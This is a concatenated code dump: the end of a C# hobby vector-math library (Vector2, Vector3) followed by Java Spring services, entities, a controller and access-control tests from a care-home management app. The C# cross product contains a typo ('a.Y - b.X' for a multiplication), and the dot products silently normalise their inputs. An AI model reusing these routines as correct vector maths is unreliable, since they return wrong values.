pointsSortedOnYList.Add(b); pointsSortedOnYList.Add(c); pointsSortedOnYList.Sort(CompareYAxis); a = pointsSortedOnYList[0]; b = pointsSortedOnYList[1]; c = pointsSortedOnYList[2]; } /// <summary> /// Compares the Y axis of the vectors. /// /// Less than 0 - a is less than b /// 0 - a equals b. /// Greater than 0 - a is greater than b. /// </summary> /// <param name="a"></param> /// <param name="b"></param> /// <returns></returns> private static int CompareYAxis(Vector2 a, Vector2 b) { if (a.Y < b.Y) return -1; if (a.Y > b.Y) return 1; return 0; } private static Vector2 ToBitmapSpace(this Bitmap myBitmap, Matrix4X4 final, Vector3 vector) { vector = final.MultiplyPoint(vector); float x = (vector.X + 1) / 2 * myBitmap.Width; float y = (vector.Y + 1) / 2 * myBitmap.Height; return new Vector2(x, y); } } }<file_sep>using System; namespace TomsMathsLib { public struct Vector2 { private readonly float m_X; private readonly float m_Y; // Properties for the Vector 2 postions public float X { get { return m_X; } } public float Y { get { return m_Y; } } /// <summary> /// Constructor /// </summary> /// <param name="x"></param> /// <param name="y"></param> public Vector2(float x, float y) { m_X = x; m_Y = y; } /// <summary> /// Distance from origin to Vector /// </summary> public float Magnitude { get { float magnitude = MathUtils.Pythagoras(m_X, m_Y); return magnitude; } } /// <summary> /// Normalizing magnitude to 1 /// </summary> /// <returns></returns> public Vector2 GetNormalized() { float magnitude = Magnitude; float x = X / magnitude; float y = Y / magnitude; return new Vector2(x, y); } /// <summary> /// Calculates the dot product of this vector with another vector. /// </summary> /// <param name="other"></param> /// <returns></returns> public float DotProduct(Vector2 other) { Vector2 thisNormalized = GetNormalized(); Vector2 otherNormalized = other.GetNormalized(); float axbx = thisNormalized.X * otherNormalized.X; float ayby = thisNormalized.Y * otherNormalized.Y; return axbx + ayby; } /// <summary> /// Adds the two vectors. /// </summary> /// <param name="v1"></param> /// <param name="v2"></param> /// <returns></returns> public static Vector2 operator +(Vector2 v1, Vector2 v2) { return new Vector2((v1.X + v2.X), (v1.Y + v2.Y)); } /// <summary> /// Subtracts vector 2 from vector 1. /// </summary> /// <param name="v1"></param> /// <param name="v2"></param> /// <returns></returns> public static Vector2 operator -(Vector2 v1, Vector2 v2) { return new Vector2((v1.X - v2.X), (v1.Y - v2.Y)); } /// <summary> /// Returns a negative vector. /// </summary> /// <param name="v1"></param> /// <returns></returns> public static Vector2 operator -(Vector2 v1) { return new Vector2(0, 0) - v1; } /// <summary> /// Dividing vectors by a certain value /// </summary> /// <param name="v1"></param> /// <param name="value"></param> /// <returns></returns> public static Vector2 operator /(Vector2 v1, float value) { return new Vector2((v1.X / value), (v1.Y / value)); } /// <summary> /// Checking if one Vector2 is the same as the other. /// </summary> /// <param name="v1"></param> /// <param name="v2"></param> /// <returns></returns> public static bool operator ==(Vector2 v1, Vector2 v2) { if (Math.Abs(v1.X - v2.X) > 0.01f) { return false; } if (Math.Abs(v1.Y - v2.Y) > 0.01f) { return false; } return true; } /// <summary> /// Checking if the two vectors are not the same /// </summary> /// <param name="v1"></param> /// <param name="v2"></param> /// <returns></returns> public static bool operator !=(Vector2 v1, Vector2 v2) { return !(v1 == v2); } } } <file_sep>using System; using System.Security.Policy; namespace TomsMathsLib { public struct Vector3 { private readonly float m_X; private readonly float m_Y; private readonly float m_Z; // Properties for the Vector 3 postions public float X { get { return m_X; } } public float Y { get { return m_Y; } } public float Z { get { return m_Z; } } /// <summary> /// Distance from origin to Vector /// </summary> public float Magnitude { get { float m1 = MathUtils.Pythagoras(X, Y); float m2 = MathUtils.Pythagoras(m1, Z); return m2; } } /// <summary> /// Constructor. /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <param name="z"></param> public Vector3(float x, float y, float z) { m_X = x; m_Y = y; m_Z = z; } /// <summary> /// Returning a 1,1,1 Vector 3 /// </summary> /// <returns></returns> public static Vector3 One() { return new Vector3(1, 1, 1); } /// <summary> /// Normalizing magnitude to 1 /// </summary> /// <returns></returns> public Vector3 GetNormalized() { float magnitude = Magnitude; float x = X / magnitude; float y = Y / magnitude; float z = Z / magnitude; return new Vector3(x, y, z); } /// <summary> /// Calculates the dot product of this vector with another vector. /// </summary> /// <param name="other"></param> /// <returns></returns> public float DotProduct(Vector3 other) { Vector3 thisNormalized = GetNormalized(); Vector3 otherNormalized = other.GetNormalized(); float axbx = thisNormalized.X * otherNormalized.X; float ayby = thisNormalized.Y * otherNormalized.Y; float azbz = thisNormalized.Z * otherNormalized.Z; return axbx + ayby + azbz; } public Vector3 Cross(Vector3 other) { return CrossProduct(this, other); } public static Vector3 CrossProduct(Vector3 a, Vector3 b) { Vector3 aCrossB = new Vector3((a.Y * b.Z) - (a.Z * b.Y), (a.Z * b.X) - (a.X * b.Z) , (a.X * b.Y) - (a.Y - b.X)); return aCrossB.GetNormalized(); } /// <summary> /// Adds the two vectors. /// </summary> /// <param name="v1"></param> /// <param name="v2"></param> /// <returns></returns> public static Vector3 operator +(Vector3 v1, Vector3 v2) { return new Vector3((v1.X + v2.X), (v1.Y + v2.Y), (v1.Z + v2.Z)); } /// <summary> /// Subtracts vector 2 from vector 1. /// </summary> /// <param name="v1"></param> /// <param name="v2"></param> /// <returns></returns> public static Vector3 operator -(Vector3 v1, Vector3 v2) { return new Vector3((v1.X - v2.X), (v1.Y - v2.Y), (v1.Z - v2.Z)); } /// <summary> /// Returns a negative vector. /// </summary> /// <param name="v1"></param> /// <returns></returns> public static Vector3 operator -(Vector3 v1) { return new Vector3(0, 0 , 0) -v1; } /// <summary> /// Dividing vectors by a certain value /// </summary> /// <param name="v1"></param> /// <param name="value"></param> /// <returns></returns> public static Vector3 operator /(Vector3 v1, float value) { return new Vector3((v1.X / value), (v1.Y / value), (v1.Z / value)); } /// <summary> /// Multiplying a Vector by a certain value /// </summary> /// <param name="v1"></param> /// <param name="value"></param> /// <returns></returns> public static Vector3 operator *(Vector3 v1, float value) { return new Vector3((v1.X * value),(v1.Y * value),(v1.Z * value)); } } }
636614fba8bf40e190311dc90ff55acd25e0be10
[ "C#" ]
14
C#
TomCassisi/TomsGraphicsProgram
6d29859f21b764a8c1650e9e464f02747ab6e89b
21a25bcf0518e8f7c4e7372a435393d42a124af1
refs/heads/master
<repo_name>AlfonsoRodriguezRomero/Resify2<file_sep>/src/main/java/org/springframework/samples/petclinic/service/ActividadService.java package org.springframework.samples.petclinic.service; import java.time.LocalDate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.dao.DataAccessException; import org.springframework.samples.petclinic.model.Actividad; import org.springframework.samples.petclinic.model.Anciano; import org.springframework.samples.petclinic.model.Manager; import org.springframework.samples.petclinic.repository.springdatajpa.ActividadRepository; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @Service public class ActividadService { @Autowired private ActividadRepository actividadRepository; @Autowired private ResidenciaService residenciaService; // @Autowired // private UserService userService; // // @Autowired // private AuthoritiesService authoritiesService; // @Autowired // public ActividadService(ActividadRepository actividadRepository) { // this.actividadRepository = actividadRepository; // } @Transactional(readOnly = true) public Actividad findActividadById(int id) throws DataAccessException { return actividadRepository.findById(id); } @Transactional public void saveActividad(Actividad actividad) throws DataAccessException { actividadRepository.save(actividad); } @Transactional public void deleteActividad(Actividad actividad) throws DataAccessException { actividadRepository.delete(actividad); } @Transactional public Iterable<Actividad> findAllMine(Manager manager) { return actividadRepository.findAllMine(manager.getId()); } @Transactional public Iterable<Actividad> findAll() { return actividadRepository.findAll(); } public Iterable<Actividad> findAllMineAnciano(Anciano anciano) { return actividadRepository.findAllMineAnciano(anciano.getId(), java.sql.Date.valueOf(LocalDate.now())); } @Transactional public Long countActividades() { return actividadRepository.count(); } @Transactional public Double avgActividadesByResidencia() { Double res = 0.; if (!this.residenciaService.countResidencias().equals(0L)) { res = Double.valueOf(this.actividadRepository.count())/this.residenciaService.countResidencias().doubleValue(); } return res; } } <file_sep>/src/main/java/org/springframework/samples/petclinic/model/PeticionExcursion.java package org.springframework.samples.petclinic.model; import javax.persistence.Entity; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; @Entity @Table(name = "peticiones_excursion") public class PeticionExcursion extends RequestEntity { @ManyToOne @JoinColumn(name = "excursion_id") private Excursion excursion; @ManyToOne @JoinColumn(name = "residencia_id") private Residencia residencia; public Excursion getExcursion() { return excursion; } public void setExcursion(Excursion excursion) { this.excursion = excursion; } public Residencia getResidencia() { return residencia; } public void setResidencia(Residencia residencia) { this.residencia = residencia; } } <file_sep>/src/main/java/org/springframework/samples/petclinic/model/Inscripcion.java package org.springframework.samples.petclinic.model; import javax.persistence.Entity; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; @Entity @Table(name = "inscripciones") public class Inscripcion extends RequestEntity { @ManyToOne @JoinColumn(name = "anciano_id") private Anciano anciano; @ManyToOne @JoinColumn(name = "residencia_id") private Residencia residencia; public Anciano getAnciano() { return this.anciano; } public void setAnciano(final Anciano anciano) { this.anciano = anciano; } public Residencia getResidencia() { return this.residencia; } public void setResidencia(final Residencia residencia) { this.residencia = residencia; } } <file_sep>/src/main/java/org/springframework/samples/petclinic/service/AncianoService.java package org.springframework.samples.petclinic.service; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.dao.DataAccessException; import org.springframework.samples.petclinic.model.Anciano; import org.springframework.samples.petclinic.model.Residencia; import org.springframework.samples.petclinic.repository.springdatajpa.AncianoRepository; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @Service public class AncianoService { private AncianoRepository ancianoRepository; @Autowired private UserService userService; @Autowired private AuthoritiesService authoritiesService; @Autowired private ResidenciaService residenciaService; @Autowired public AncianoService(final AncianoRepository ancianoRepository) { this.ancianoRepository = ancianoRepository; } @Transactional(readOnly = true) public Iterable<Anciano> findAncianos() throws DataAccessException { return this.ancianoRepository.findAll(); } @Transactional(readOnly = true) public Anciano findAncianoById(final int id) throws DataAccessException { return this.ancianoRepository.findById(id); } @Transactional(readOnly = true) public Anciano findAncianoByUsername(final String username) throws DataAccessException { return this.ancianoRepository.findByUsername(username); } @Transactional(readOnly = true) public Iterable<Anciano> findAncianosMiResidencia(final Residencia residencia) throws DataAccessException { return this.ancianoRepository.findAncianosMiResidencia(residencia.getId()); } @Transactional(readOnly = true) public Integer countAncianosMiResidencia(final Residencia residencia) throws DataAccessException { return this.ancianoRepository.countAncianosByResidenciaId(residencia.getId()); } @Transactional public void saveAnciano(final Anciano anciano) throws DataAccessException { //creating anciano this.ancianoRepository.save(anciano); //creating user this.userService.saveUser(anciano.getUser()); //creating authorities this.authoritiesService.saveAuthorities(anciano.getUser().getUsername(), "anciano"); } @Transactional public Long countAncianos() { return this.ancianoRepository.count(); } @Transactional public Double avgAncianosByResidencia() { Double res = 0.; if (!this.residenciaService.countResidencias().equals(0L)) { res = this.ancianoRepository.countAncianosInResidencia().doubleValue()/this.residenciaService.countResidencias().doubleValue(); } return res; } } <file_sep>/src/main/java/org/springframework/samples/petclinic/web/BuenaAccionController.java package org.springframework.samples.petclinic.web; import java.security.Principal; import java.util.Map; import javax.validation.Valid; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.samples.petclinic.model.BuenaAccion; import org.springframework.samples.petclinic.model.Manager; import org.springframework.samples.petclinic.model.Residencia; import org.springframework.samples.petclinic.service.BuenaAccionService; import org.springframework.samples.petclinic.service.ManagerService; import org.springframework.samples.petclinic.service.ResidenciaService; import org.springframework.samples.petclinic.web.validators.BuenaAccionValidator; import org.springframework.stereotype.Controller; import org.springframework.validation.BindingResult; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.InitBinder; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; @Controller @RequestMapping("/buenas-acciones") public class BuenaAccionController { private static final String VIEWS_BUENA_ACCION_CREATE_OR_UPDATE_FORM = "buenasAcciones/createOrUpdateBuenaAccionForm"; @Autowired private BuenaAccionService buenaAccionService; @Autowired private ManagerService managerService; @Autowired private ResidenciaService residenciaService; @InitBinder public void setAllowedFields(final WebDataBinder dataBinder) { dataBinder.setDisallowedFields("id"); } @InitBinder("manager") public void initManagerBinder(final WebDataBinder dataBinder) { dataBinder.setDisallowedFields("id"); } @InitBinder("buenaAccion") public void initBuenaAccionBinder(final WebDataBinder dataBinder) { dataBinder.setValidator(new BuenaAccionValidator()); } @GetMapping() public String listBuenasAcciones(final Map<String, Object> model, final Principal p) { Manager manager = this.managerService.findManagerByUsername(p.getName()); Iterable<BuenaAccion> buenasAcciones = this.buenaAccionService.findAllMine(manager); if(this.residenciaService.findMine(manager)==null) { model.put("noTieneResi", true); }else { model.put("noTieneResi", false); } model.put("buenasAcciones", buenasAcciones); return "buenasAcciones/buenasAccionesList"; } @GetMapping(value = "/new") public String initCreationForm(final Map<String, Object> model, final Principal p) { Residencia resi = this.managerService.findResidenciaByManagerUsername(p.getName()); if (resi == null) { return "exception"; } BuenaAccion buenaAccion = new BuenaAccion(); model.put("buenaAccion", buenaAccion); return BuenaAccionController.VIEWS_BUENA_ACCION_CREATE_OR_UPDATE_FORM; } @PostMapping(value = "/new") public String processCreationForm(@Valid final BuenaAccion buenaAccion, final BindingResult result, final Map<String, Object> model, final Principal p) { if (result.hasErrors()) { model.put("buenaAccion", buenaAccion); return BuenaAccionController.VIEWS_BUENA_ACCION_CREATE_OR_UPDATE_FORM; } else { Residencia residencia = this.managerService.findResidenciaByManagerUsername(p.getName()); buenaAccion.setResidencia(residencia); this.buenaAccionService.saveBuenaAccion(buenaAccion); model.put("message", "Se ha registrado la buena acción correctamente"); return "redirect:/buenas-acciones"; } } @GetMapping("/{buenaAccionId}") public ModelAndView showBuenaAccion(@PathVariable("buenaAccionId") final int buenaAccionId, final Principal p) { BuenaAccion buenaAccion = this.buenaAccionService.findBuenaAccionById(buenaAccionId); Manager manager = this.managerService.findManagerByUsername(p.getName()); ModelAndView mav = new ModelAndView("buenasAcciones/buenasAccionesDetails"); mav.addObject(buenaAccion); if (!buenaAccion.getResidencia().getManager().equals(manager)) { mav = new ModelAndView("exception"); } return mav; } } <file_sep>/src/main/java/org/springframework/samples/petclinic/model/Feedback.java package org.springframework.samples.petclinic.model; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; import javax.validation.constraints.NotBlank; import javax.validation.constraints.NotNull; import org.hibernate.validator.constraints.Range; @Entity @Table(name = "feedback") public class Feedback extends BaseEntity { @ManyToOne @JoinColumn(name = "excursion_id") private Excursion excursion; @ManyToOne @JoinColumn(name = "residencia_id") private Residencia residencia; @Column(name = "descripcion") @NotBlank private String descripcion; @Column(name = "valoracion") @NotNull @Range(min = 0, max = 5) private Integer valoracion; @Column(name = "descartaFeedback") private boolean descartaFeedback; public Excursion getExcursion() { return excursion; } public void setExcursion(Excursion excursion) { this.excursion = excursion; } public Residencia getResidencia() { return residencia; } public void setResidencia(Residencia residencia) { this.residencia = residencia; } public String getDescripcion() { return descripcion; } public void setDescripcion(String descripcion) { this.descripcion = descripcion; } public Integer getValoracion() { return valoracion; } public void setValoracion(Integer valoracion) { this.valoracion = valoracion; } public boolean isDescartaFeedback() { return descartaFeedback; } public void setDescartaFeedback(boolean descartaFeedback) { this.descartaFeedback = descartaFeedback; } @Override public String toString() { return "Feedback [excursion=" + excursion + ", residencia=" + residencia + ", descripcion=" + descripcion + ", valoracion=" + valoracion + "]"; } } <file_sep>/src/test/java/org/springframework/samples/petclinic/web/e2e/PeticionExcursionControllerE2ETest.java package org.springframework.samples.petclinic.web.e2e; import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.csrf; import java.time.Instant; import java.util.Date; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.security.test.context.support.WithMockUser; import org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors; import org.springframework.test.context.junit.jupiter.SpringExtension; import org.springframework.test.web.servlet.MockMvc; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; import org.springframework.test.web.servlet.result.MockMvcResultMatchers; import org.springframework.transaction.annotation.Transactional; @ExtendWith(SpringExtension.class) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.MOCK) @AutoConfigureMockMvc @Transactional /* * @TestPropertySource( * locations = "classpath:application-mysql.properties") */ public class PeticionExcursionControllerE2ETest { private static final int TEST_EXCURSION_ID = 5; private static final int TEST_EXCURSION_PASADA_ID = 1; private static final int TEST_PETICION_EXCURSION_ID = 3; @Autowired private MockMvc mockMvc; @WithMockUser(username = "manager1", authorities = { "manager" }) @Test void testProcessFindFormSuccessManager() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/peticiones-excursion")) .andExpect(MockMvcResultMatchers.status().isOk()) .andExpect(MockMvcResultMatchers.view().name("peticionesExcursion/peticionExcursionList")); } @WithMockUser(username = "organizador1", authorities = { "organizador" }) @Test void testProcessFindFormSuccessOrganizador() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/peticiones-excursion")) .andExpect(MockMvcResultMatchers.status().isOk()) .andExpect(MockMvcResultMatchers.view().name("peticionesExcursion/peticionExcursionList")); } @WithMockUser(username = "manager1", authorities = { "manager" }) @Test void testInitCreationForm() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/excursiones/{excursionId}/peticiones-excursion/new", TEST_EXCURSION_ID)) .andExpect(MockMvcResultMatchers.status().isOk()) .andExpect(MockMvcResultMatchers.view().name("peticionesExcursion/createOrUpdatePeticionExcursionForm")) .andExpect(MockMvcResultMatchers.model().attributeExists("peticionExcursion")); } @WithMockUser(username = "manager1", authorities = { "manager" }) @Test void testProcessCreationFormSuccess() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.post("/excursiones/{excursionId}/peticiones-excursion/new",TEST_EXCURSION_ID).with(csrf()) .param("declaracion", "Prueba declaracion") .param("estado", "pendiente")) .andExpect(MockMvcResultMatchers.status().is3xxRedirection()); } @WithMockUser(username = "manager1", authorities = { "manager" }) @Test void testProcessCreationFormHasErrorsBlank() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.post("/excursiones/{excursionId}/peticiones-excursion/new", TEST_EXCURSION_ID).with(csrf()) .param("declaracion", "") .param("estado", "pendiente")) .andExpect(MockMvcResultMatchers.model().attributeHasFieldErrors("peticionExcursion", "declaracion")) .andExpect(MockMvcResultMatchers.status().isOk()) .andExpect(MockMvcResultMatchers.view().name("peticionesExcursion/createOrUpdatePeticionExcursionForm")); } @WithMockUser(username = "manager2", authorities = { "manager" }) @Test void testProcessCreationFormHasErrorsPastExcursion() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.post("/excursiones/{excursionId}/peticiones-excursion/new", TEST_EXCURSION_PASADA_ID).with(csrf()) .param("declaracion", "Declaracion") .param("estado", "pendiente")) .andExpect(MockMvcResultMatchers.status().isOk()) .andExpect(MockMvcResultMatchers.view().name("exception")); } @WithMockUser(username = "organizador1", authorities = { "organizador" }) @Test void testInitUpdateForm() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/peticiones-excursion/{peticionExcursionId}/edit", TEST_PETICION_EXCURSION_ID)).andExpect(MockMvcResultMatchers.status().isOk()) .andExpect(MockMvcResultMatchers.model().attributeExists("peticionExcursion")) .andExpect(MockMvcResultMatchers.view().name("peticionesExcursion/createOrUpdatePeticionExcursionForm")); } @WithMockUser(username = "organizador1", authorities = { "organizador" }) @Test void testProcessUpdateFormSuccessAccept() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.post("/peticiones-excursion/{peticionExcursionId}/edit", TEST_PETICION_EXCURSION_ID).with(csrf()) .param("id", String.valueOf(TEST_PETICION_EXCURSION_ID)).with(SecurityMockMvcRequestPostProcessors.csrf()) .param("fecha", String.valueOf(Date.from(Instant.now().minusMillis(1)))).param("declaracion", "declaracion test") .param("estado", "aceptada")) .andExpect(MockMvcResultMatchers.status().is3xxRedirection()) .andExpect(MockMvcResultMatchers.view().name("redirect:/peticiones-excursion/")); } @WithMockUser(username = "organizador1", authorities = { "organizador"}) @Test void testProcessUpdateFormErrorRejectWithoutJustification() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.post("/peticiones-excursion/{peticionExcursionId}/edit", TEST_PETICION_EXCURSION_ID).with(csrf()) .param("id", String.valueOf(TEST_PETICION_EXCURSION_ID)) .with(SecurityMockMvcRequestPostProcessors.csrf()).param("fecha", String.valueOf(Date.from(Instant.now().minusMillis(1)))) .param("declaracion", "declaracion test") .param("estado", "rechazada").param("justificacion", "")) .andExpect(MockMvcResultMatchers.model().attributeHasErrors("peticionExcursion")) .andExpect(MockMvcResultMatchers.model().attributeHasFieldErrors("peticionExcursion", "justificacion")) .andExpect(MockMvcResultMatchers.status().isOk()) .andExpect(MockMvcResultMatchers.view().name("peticionesExcursion/createOrUpdatePeticionExcursionForm")); } //no debe acceder a la creación de peticiones siendo anciano @WithMockUser(username = "anciano1", authorities = "anciano") @Test void testInitCreationFormComoAnciano() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/excursiones/{excursionId}/peticiones-excursion/new", TEST_EXCURSION_ID)) .andExpect(MockMvcResultMatchers.status().isForbidden()); } //no debe acceder a la creación de peticiones siendo anciano @WithMockUser(username = "organizador1", authorities = "organizador") @Test void testInitCreationFormComoOrganizador() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/excursiones/{excursionId}/peticiones-excursion/new", TEST_EXCURSION_ID)) .andExpect(MockMvcResultMatchers.status().isForbidden()); } //no debe acceder a la creación de peticiones siendo anciano @WithMockUser(username = "anciano1", authorities = "anciano") @Test void testInitUpdateFormComoAnciano() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/peticiones-excursion/{peticionExcursionId}/edit", TEST_PETICION_EXCURSION_ID)) .andExpect(MockMvcResultMatchers.status().isForbidden()); } //no debe acceder a la creación de peticiones siendo manager @WithMockUser(username = "manager1", authorities = "manager") @Test void testInitUpdateFormComoManager() throws Exception { this.mockMvc.perform(MockMvcRequestBuilders.get("/peticiones-excursion/{peticionExcursionId}/edit", TEST_PETICION_EXCURSION_ID)) .andExpect(MockMvcResultMatchers.status().isForbidden()); } } <file_sep>/src/main/java/org/springframework/samples/petclinic/service/QuejaService.java package org.springframework.samples.petclinic.service; import java.time.LocalDate; import java.time.ZoneId; import java.util.Date; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.dao.DataAccessException; import org.springframework.samples.petclinic.model.Anciano; import org.springframework.samples.petclinic.model.Manager; import org.springframework.samples.petclinic.model.Queja; import org.springframework.samples.petclinic.repository.springdatajpa.QuejaRepository; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @Service public class QuejaService { @Autowired private QuejaRepository quejaRepository; @Autowired private AncianoService ancianoService; @Autowired private ResidenciaService residenciaService; @Transactional(readOnly = true) public Iterable<Queja> findQuejasByManager(Manager manager) throws DataAccessException { return quejaRepository.findQuejasByManagerId(manager.getId()); } @Transactional(readOnly = true) public Queja findQuejaById(int id) throws DataAccessException { return quejaRepository.findById(id); } @Transactional(readOnly = true) public Double countQuejasHoyByAnciano(Anciano anciano) throws DataAccessException { return quejaRepository.countQuejasByTiempoYAncianoId(anciano.getId(),Date.from(LocalDate.now().minusDays(1).atStartOfDay(ZoneId.systemDefault()).toInstant())); } @Transactional public void saveQueja(Queja queja) throws DataAccessException { quejaRepository.save(queja); } @Transactional public Long countQuejas() { return this.quejaRepository.count(); } @Transactional public Double avgQuejasByAnciano() { Double res = 0.; if (!this.ancianoService.countAncianos().equals(0L)) { res = Double.valueOf(this.quejaRepository.count())/this.ancianoService.countAncianos().doubleValue(); } return res; } @Transactional public Double avgQuejasByResidencia() { Double res = 0.; if (!this.residenciaService.countResidencias().equals(0L)) { res = Double.valueOf(this.quejaRepository.count())/this.residenciaService.countResidencias().doubleValue(); } return res; } } <file_sep>/src/main/java/org/springframework/samples/petclinic/service/VisitaSanitariaService.java package org.springframework.samples.petclinic.service; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.dao.DataAccessException; import org.springframework.samples.petclinic.model.Manager; import org.springframework.samples.petclinic.model.Residencia; import org.springframework.samples.petclinic.model.VisitaSanitaria; import org.springframework.samples.petclinic.repository.springdatajpa.VisitaSanitariaRepository; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @Service public class VisitaSanitariaService { @Autowired private VisitaSanitariaRepository visitaSanitariaRepository; @Autowired private ResidenciaService residenciaService; @Transactional(readOnly = true) public VisitaSanitaria findVisitaSanitariaById(int id) throws DataAccessException { return visitaSanitariaRepository.findById(id); } @Transactional public void saveVisitaSanitaria(VisitaSanitaria visitaSanitaria) throws DataAccessException { visitaSanitariaRepository.save(visitaSanitaria); } @Transactional public void deleteVisitaSanitaria(VisitaSanitaria visitaSanitaria) throws DataAccessException { visitaSanitariaRepository.delete(visitaSanitaria); } @Transactional public Iterable<VisitaSanitaria> findAllMine(final Manager manager) { Residencia residencia = this.residenciaService.findMine(manager); int id = residencia.getId(); return this.visitaSanitariaRepository.findAllMine(id); } @Transactional public Long countVisitasSanitarias() { return this.visitaSanitariaRepository.count(); } @Transactional public Double avgVisitasSanitariasByResidencia() { Double res = 0.; if (!this.residenciaService.countResidencias().equals(0L)) { res = Double.valueOf(this.visitaSanitariaRepository.count())/this.residenciaService.countResidencias().doubleValue(); } return res; } } <file_sep>/src/main/java/org/springframework/samples/petclinic/model/Manager.java package org.springframework.samples.petclinic.model; import javax.persistence.CascadeType; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.JoinColumn; import javax.persistence.OneToOne; import javax.persistence.Table; import javax.validation.Valid; import javax.validation.constraints.NotBlank; import org.springframework.core.style.ToStringCreator; @Entity @Table(name = "managers") public class Manager extends Persona { @Column(name = "firma") @NotBlank private String firma; @Column(name = "declaracionResponsabilidad") @NotBlank private String declaracionResponsabilidad; // @Valid @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "username", referencedColumnName = "username") private User user; // public User getUser() { return user; } public void setUser(User user) { this.user = user; } public String getFirma() { return firma; } public void setFirma(String firma) { this.firma = firma; } public String getDeclaracionResponsabilidad() { return declaracionResponsabilidad; } public void setDeclaracionResponsabilidad(String declaracionResponsabilidad) { this.declaracionResponsabilidad= declaracionResponsabilidad; } @Override public String toString() { return new ToStringCreator(this) .append("id", this.getId()).append("new", this.isNew()).append("firma", this.firma) .append("declaracionResponsabilidad", this.declaracionResponsabilidad).toString(); } } <file_sep>/src/main/java/org/springframework/samples/petclinic/service/BuenaAccionService.java package org.springframework.samples.petclinic.service; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.dao.DataAccessException; import org.springframework.samples.petclinic.model.BuenaAccion; import org.springframework.samples.petclinic.model.Manager; import org.springframework.samples.petclinic.repository.springdatajpa.BuenaAccionRepository; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @Service public class BuenaAccionService { @Autowired private BuenaAccionRepository buenaAccionRepository; @Transactional(readOnly = true) public BuenaAccion findBuenaAccionById(int id) throws DataAccessException { return buenaAccionRepository.findById(id); } @Transactional public void saveBuenaAccion(BuenaAccion buenaAccion) throws DataAccessException { buenaAccionRepository.save(buenaAccion); } @Transactional public Iterable<BuenaAccion> findAllMine(Manager manager) { return buenaAccionRepository.findAllMine(manager.getId()); } @Transactional public Iterable<BuenaAccion> findAll() { return buenaAccionRepository.findAll(); } @Transactional public Long countBuenasAcciones() { return buenaAccionRepository.count(); } } <file_sep>/src/main/java/org/springframework/samples/petclinic/service/InscripcionService.java package org.springframework.samples.petclinic.service; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.dao.DataAccessException; import org.springframework.samples.petclinic.model.Anciano; import org.springframework.samples.petclinic.model.Inscripcion; import org.springframework.samples.petclinic.model.Manager; import org.springframework.samples.petclinic.model.Residencia; import org.springframework.samples.petclinic.repository.springdatajpa.InscripcionRepository; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @Service public class InscripcionService { @Autowired private InscripcionRepository inscripcionRepository; //tested @Transactional(readOnly = true) public Inscripcion findInscripcionById(final int id) throws DataAccessException { return this.inscripcionRepository.findById(id); } //tested @Transactional public void saveInscripcion(final Inscripcion inscripcion) throws DataAccessException { this.inscripcionRepository.save(inscripcion); } //tested @Transactional public Iterable<Inscripcion> findAllMineAnciano(final Anciano anciano) { return this.inscripcionRepository.findAllMineAnciano(anciano.getId()); } //tested @Transactional public Iterable<Inscripcion> findAllMineManager(final Manager manager) { return this.inscripcionRepository.findAllMineManager(manager.getId()); } //tested @Transactional public Integer cuentaAceptadasEnResidencia(final Residencia residencia) { return this.inscripcionRepository.cuentaAceptadasEnResidencia(residencia.getId()); } //tested @Transactional public Iterable<Inscripcion> findAll() { return this.inscripcionRepository.findAll(); } //tested @Transactional public Long countInscripciones() { return this.inscripcionRepository.count(); } //tested @Transactional public Long countInscripcionesAceptadas() { return this.inscripcionRepository.countInscripcionesAceptadas(); } //tested @Transactional public Double ratioInscripcionesAceptadas() { Double res = 0.; if (!this.countInscripciones().equals(0L)) { res = this.countInscripcionesAceptadas().doubleValue()/this.countInscripciones().doubleValue(); } return res; } //tested @Transactional public Long countInscripcionesRechazadas() { return this.inscripcionRepository.countInscripcionesRechazadas(); } //tested @Transactional public Double ratioInscripcionesRechazadas() { Double res = 0.; if (!this.countInscripciones().equals(0L)) { res = this.countInscripcionesRechazadas().doubleValue()/this.countInscripciones().doubleValue(); } return res; } 